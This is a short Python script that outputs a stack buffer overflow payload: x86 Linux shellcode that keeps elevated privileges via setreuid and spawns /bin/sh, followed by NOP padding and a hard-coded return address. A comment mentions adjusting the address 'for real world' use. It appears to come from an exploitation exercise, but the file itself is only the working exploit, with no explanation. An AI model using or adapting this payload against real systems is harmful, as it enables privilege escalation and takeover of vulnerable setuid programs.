#!/bin/python3
import sys
shellcode=b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
# -112 for real world
# address=b"\x18\xd4\xff\xff"
address=b"\xa8\xd3\xff\xff"

sys.stdout.buffer.write(shellcode)
sys.stdout.buffer.write((132-len(shellcode)) * b"\x90" + address)